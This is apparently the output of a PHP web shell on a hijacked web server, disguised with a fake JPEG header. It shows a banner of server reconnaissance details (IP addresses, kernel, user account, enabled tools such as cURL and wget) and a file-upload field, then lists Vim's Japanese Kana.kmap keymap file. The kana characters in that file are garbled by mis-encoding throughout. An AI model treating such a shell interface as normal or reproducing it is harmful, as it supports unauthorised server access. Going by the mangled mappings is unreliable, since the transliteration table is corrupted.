ÿŰÿà JFIF ` ` ÿțxŰ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/share/vim/vim80/keymap/ |
Upload File : |
" This script was originally created by Rory McCann <ebelular at gmail dot com>.
" Dan Kenigsberg noticed some deficiencies and suggested this one instead.
"
" Maintainer: Rory McCann <ebelular at gmail dot com>
" Modified by: Edward L. Fox <edyfox at gmail dot com>
" Last Change: 2006 Apr 30
"
"
"
" Kana.kmap (Japanese Phonograms)
"
" Converted from Gaspar Sinai's yudit 2.7.6
" GNU (C) Gaspar Sinai <gsinai@yudit.org>
"
" WARNING
" -------
" This version of Kana.kmap is different from the one that has been used
" with yudit-2.7.2 or earlier. The main difference is that this kmap is
" arranged in such a way that it complies with an authorized Japanese
" transliteration. As a result, backward compatibility is not guaranteed.
"
" NOTE
" ----
" 1. In general, the transliteration is based on Japanese Government's
" Cabinet Notification 1 (Dec. 9, 1954).
"
" Summary:
"
" (1) To transliterate Japanese language, Table 1 should be used
" primarily.
" (2) Table 2 may be used only when existing conventions such as
" international relationship should be respected.
" (3) Other transliteration is acceptable only when neither Table 1
" nor Table 2 gives any specification of the sound in question
"
" For details, refer to
"
" http://xembho.tripod.com/siryo/naikaku_kokuzi.html
"
" 2. The specification instructed by the Cabinet Notification is rather
" inadequate even for daily use. At the present time there are thus
" many unauthorized but widely accepted conventions used together with
" the authorized transliteration. This kmap contains some of them for
" user's convenience (cf. Hiragana 3 and Katakana 3).
"
" 3. For the unicode mapping relevant to this kmap, refer to 3075--30F5 of
"
" http://www.macchiato.com/unicode/charts.html
"
" HISTORY
" -------
" 2005-01-11 <danken@cs.technion.ac.il>
" * Converted to Vim format.
" 2003-01-22 <kazunobu.kuriyama@nifty.com>
"
" * Submitted to gsinai@yudit.org
"
" ============================================================================
scriptencoding utf-8
" ----------------------------------------------------------------------------
" Kigou (Punctuation etc.)
" ----------------------------------------------------------------------------
let b:keymap_name = "kana"
loadkeymap
"0x20 0x3000
, ă
. ă
,, ă
xx ă
@ ă
< ă
> ă
<< ă
>> ă
{ ă
} ă
{{ ă
}} ă
[.( ă
).] ă
[ ă
] ă
[( ă
)] ă
[[ ă
]] ă
.. ă»
- ăŒ
" ----------------------------------------------------------------------------
" Hiragana 1 --- Table 1, Cabinet Notification No. 1 (Dec. 9, 1954)
" ----------------------------------------------------------------------------
a ă
i ă
u ă
e ă
o ă
ka ă
ki ă
ku ă
ke ă
ko ă
sa ă
si ă
su ă
se ă
so ă
ta ă
ti ăĄ
tu ă€
te ăŠ
to ăš
na ăȘ
ni ă«
nu ăŹ
ne ă
no ăź
ha ăŻ
hi ăČ
hu ă”
he ăž
ho ă»
ma ăŸ
mi ăż
mu ă
me ă
mo ă
ya ă
yu ă
yo ă
ra ă
ri ă
ru ă
re ă
ro ă
wa ă
ga ă
gi ă
gu ă
ge ă
go ă
za ă
zi ă
zu ă
ze ă
zo ă
da ă
de ă§
do ă©
ba ă°
bi ăł
bu ă¶
be ăč
bo ăŒ
pa ă±
pi ăŽ
pu ă·
pe ăș
po ăœ
kya ăă
kyu ăă
kyo ăă
sya ăă
syu ăă
syo ăă
tya ăĄă
tyu ăĄă
tyo ăĄă
nya ă«ă
nyu ă«ă
nyo ă«ă
hya ăČă
hyu ăČă
hyo ăČă
mya ăżă
myu ăżă
myo ăżă
rya ăă
ryu ăă
ryo ăă
gya ăă
gyu ăă
gyo ăă
zya ăă
zyu ăă
zyo ăă
bya ăłă
byu ăłă
byo ăłă
pya ăŽă
pyu ăŽă
pyo ăŽă
n ă
n' ă
" ----------------------------------------------------------------------------
" Hiragana 2 --- Table 2, Cabinet Notification No. 1 (Dec. 9, 1954)
" ----------------------------------------------------------------------------
sha ăă
shi ă
shu ăă
sho ăă
tsu ă€
cha ăĄă
chi ăĄ
chu ăĄă
cho ăĄă
fu ă”
ja ăă
ji ă
ju ăă
jo ăă
di ăą
du ă„
dya ăąă
dyu ăąă
dyo ăąă
kwa ăă
gwa ăă
wo ă
" ----------------------------------------------------------------------------
" Hiragana 3 --- Conventional transliterations
" ----------------------------------------------------------------------------
" Small Hiragana: The prefix X is never pronounced. It is used as something
" like an escape character.
xa ă
xi ă
xu ă
xe ă
xo ă
xtu ăŁ
xya ă
xyu ă
xyo ă
xwa ă
" Historic `wi' and `we'
wi ă
we ă
" Preceded by a small `tu'
kka ăŁă
kki ăŁă
kku ăŁă
kke ăŁă
kko ăŁă
ssa ăŁă
ssi ăŁă
ssu ăŁă
sse ăŁă
sso ăŁă
tta ăŁă
tti ăŁăĄ
ttu ăŁă€
tte ăŁăŠ
tto ăŁăš
hha ăŁăŻ
hhi ăŁăČ
hhu ăŁă”
hhe ăŁăž
hho ăŁă»
mma ăŁăŸ
mmi ăŁăż
mmu ăŁă
mme ăŁă
mmo ăŁă
yya ăŁă
yyu ăŁă
yyo ăŁă
rra ăŁă
rri ăŁă
rru ăŁă
rre ăŁă
rro ăŁă
wwa ăŁă
gga ăŁă
ggi ăŁă
ggu ăŁă
gge ăŁă
ggo ăŁă
zza ăŁă
zzi ăŁă
zzu ăŁă
zze ăŁă
zzo ăŁă
dda ăŁă
ddi ăŁăą
ddu ăŁă„
dde ăŁă§
ddo ăŁă©
bba ăŁă°
bbi ăŁăł
bbu ăŁă¶
bbe ăŁăč
bbo ăŁăŒ
ppa ăŁă±
ppi ăŁăŽ
ppu ăŁă·
ppe ăŁăș
ppo ăŁăœ
" Proceded by a small `tu' and followed by a small 'ya', 'yu' or 'yo'
kkya ăŁăă
kkyu ăŁăă
kkyo ăŁăă
ssya ăŁăă
ssyu ăŁăă
ssyo ăŁăă
ttya ăŁăĄă
ttyu ăŁăĄă
ttyo ăŁăĄă
hhya ăŁăČă
hhyu ăŁăČă
hhyo ăŁăČă
mmya ăŁăżă
mmyu ăŁăżă
mmyo ăŁăżă
rrya ăŁăă
rryu ăŁăă
rryo ăŁăă
ggya ăŁăă
ggyu ăŁăă
ggyo ăŁăă
zzya ăŁăă
zzyu ăŁăă
zzyo ăŁăă
bbya ăŁăłă
bbyu ăŁăłă
bbyo ăŁăłă
ppya ăŁăŽă
ppyu ăŁăŽă
ppyo ăŁăŽă
" ----------------------------------------------------------------------------
" Katakana 1 --- Table 1, Cabinet Notification No. 1 (Dec. 9, 1954)
" ----------------------------------------------------------------------------
A ăą
I ă€
U ăŠ
E ăš
O ăȘ
KA ă«
KI ă
KU ăŻ
KE ă±
KO ăł
SA ă”
SI ă·
SU ăč
SE ă»
SO ăœ
TA ăż
TI ă
TU ă
TE ă
TO ă
NA ă
NI ă
NU ă
NE ă
NO ă
HA ă
HI ă
HU ă
HE ă
HO ă
MA ă
MI ă
MU ă
ME ăĄ
MO ăą
YA ă€
YU ăŠ
YO ăš
RA ă©
RI ăȘ
RU ă«
RE ăŹ
RO ă
WA ăŻ
GA ăŹ
GI ăź
GU ă°
GE ăČ
GO ăŽ
ZA ă¶
ZI ăž
ZU ăș
ZE ăŒ
ZO ăŸ
DA ă
DE ă
DO ă
BA ă
BI ă
BU ă
BE ă
BO ă
PA ă
PI ă
PU ă
PE ă
PO ă
KYA ăăŁ
KYU ăă„
KYO ăă§
SYA ă·ăŁ
SYU ă·ă„
SYO ă·ă§
TYA ăăŁ
TYU ăă„
TYO ăă§
NYA ăăŁ
NYU ăă„
NYO ăă§
HYA ăăŁ
HYU ăă„
HYO ăă§
MYA ăăŁ
MYU ăă„
MYO ăă§
RYA ăȘăŁ
RYU ăȘă„
RYO ăȘă§
GYA ăźăŁ
GYU ăźă„
GYO ăźă§
ZYA ăžăŁ
ZYU ăžă„
ZYO ăžă§
BYA ăăŁ
BYU ăă„
BYO ăă§
PYA ăăŁ
PYU ăă„
PYO ăă§
N ăł
N' ăł
" ----------------------------------------------------------------------------
" Katakana 2 --- Table 2, Cabinet Notification No. 1 (Dec. 9, 1954)
" ----------------------------------------------------------------------------
SHA ă·ăŁ
SHI ă·
SHU ă·ă„
SHO ă·ă§
TSU ă
CHA ăăŁ
CHI ă
CHU ăă„
CHO ăă§
FU ă
JA ăžăŁ
JI ăž
JU ăžă„
JO ăžă§
DI ă
DU ă
DYA ăăŁ
DYU ăă„
DYO ăă§
KWA ăŻăź
GWA ă°ăź
WO ăČ
" ----------------------------------------------------------------------------
" Katakana 3 --- Conventional transliterations
" ----------------------------------------------------------------------------
" Small Katakana: The prefix X is never pronounced. It is used as something
" like an escape character.
XA ăĄ
XI ăŁ
XU ă„
XE ă§
XO ă©
XTU ă
XYA ăŁ
XYU ă„
XYO ă§
XWA ăź
" Used only for counting someone or something
XKA ă”
XKE ă¶
" Historic `wi' and `we'
WI ă°
WE ă±
" Used for the sound `v' of European languages
VA ăŽăĄ
VI ăŽăŁ
VU ăŽ
VE ăŽă§
VO ăŽă©
VYU ăŽă„
" Preceded by a small `tu'
KKA ăă«
KKI ăă
KKU ăăŻ
KKE ăă±
KKO ăăł
SSA ăă”
SSI ăă·
SSU ăăč
SSE ăă»
SSO ăăœ
TTA ăăż
TTI ăă
TTU ăă
TTE ăă
TTO ăă
HHA ăă
HHI ăă
HHU ăă
HHE ăă
HHO ăă
MMA ăă
MMI ăă
MMU ăă
MME ăăĄ
MMO ăăą
YYA ăă€
YYU ăăŠ
YYO ăăš
RRA ăă©
RRI ăăȘ
RRU ăă«
RRE ăăŹ
RRO ăă
WWA ăăŻ
GGA ăăŹ
GGI ăăź
GGU ăă°
GGE ăăČ
GGO ăăŽ
ZZA ăă¶
ZZI ăăž
ZZU ăăș
ZZE ăăŒ
ZZO ăăŸ
DDA ăă
DDI ăă
DDU ăă
DDE ăă
DDO ăă
BBA ăă
BBI ăă
BBU ăă
BBE ăă
BBO ăă
PPA ăă
PPI ăă
PPU ăă
PPE ăă
PPO ăă
" Proceded by a small `tu' and followed by a small 'ya', 'yu' or 'yo'
KKYA ăăăŁ
KKYU ăăă„
KKYO ăăă§
SSYA ăă·ăŁ
SSYU ăă·ă„
SSYO ăă·ă§
TTYA ăăăŁ
TTYU ăăă„
TTYO ăăă§
HHYA ăăăŁ
HHYU ăăă„
HHYO ăăă§
MMYA ăăăŁ
MMYU ăăă„
MMYO ăăă§
RRYA ăăȘăŁ
RRYU ăăȘă„
RRYO ăăȘă§
GGYA ăăźăŁ
GGYU ăăźă„
GGYO ăăźă§
ZZYA ăăžăŁ
ZZYU ăăžă„
ZZYO ăăžă§
BBYA ăăăŁ
BBYU ăăă„
BBYO ăăă§
PPYA ăăăŁ
PPYU ăăă„
PPYO ăăă§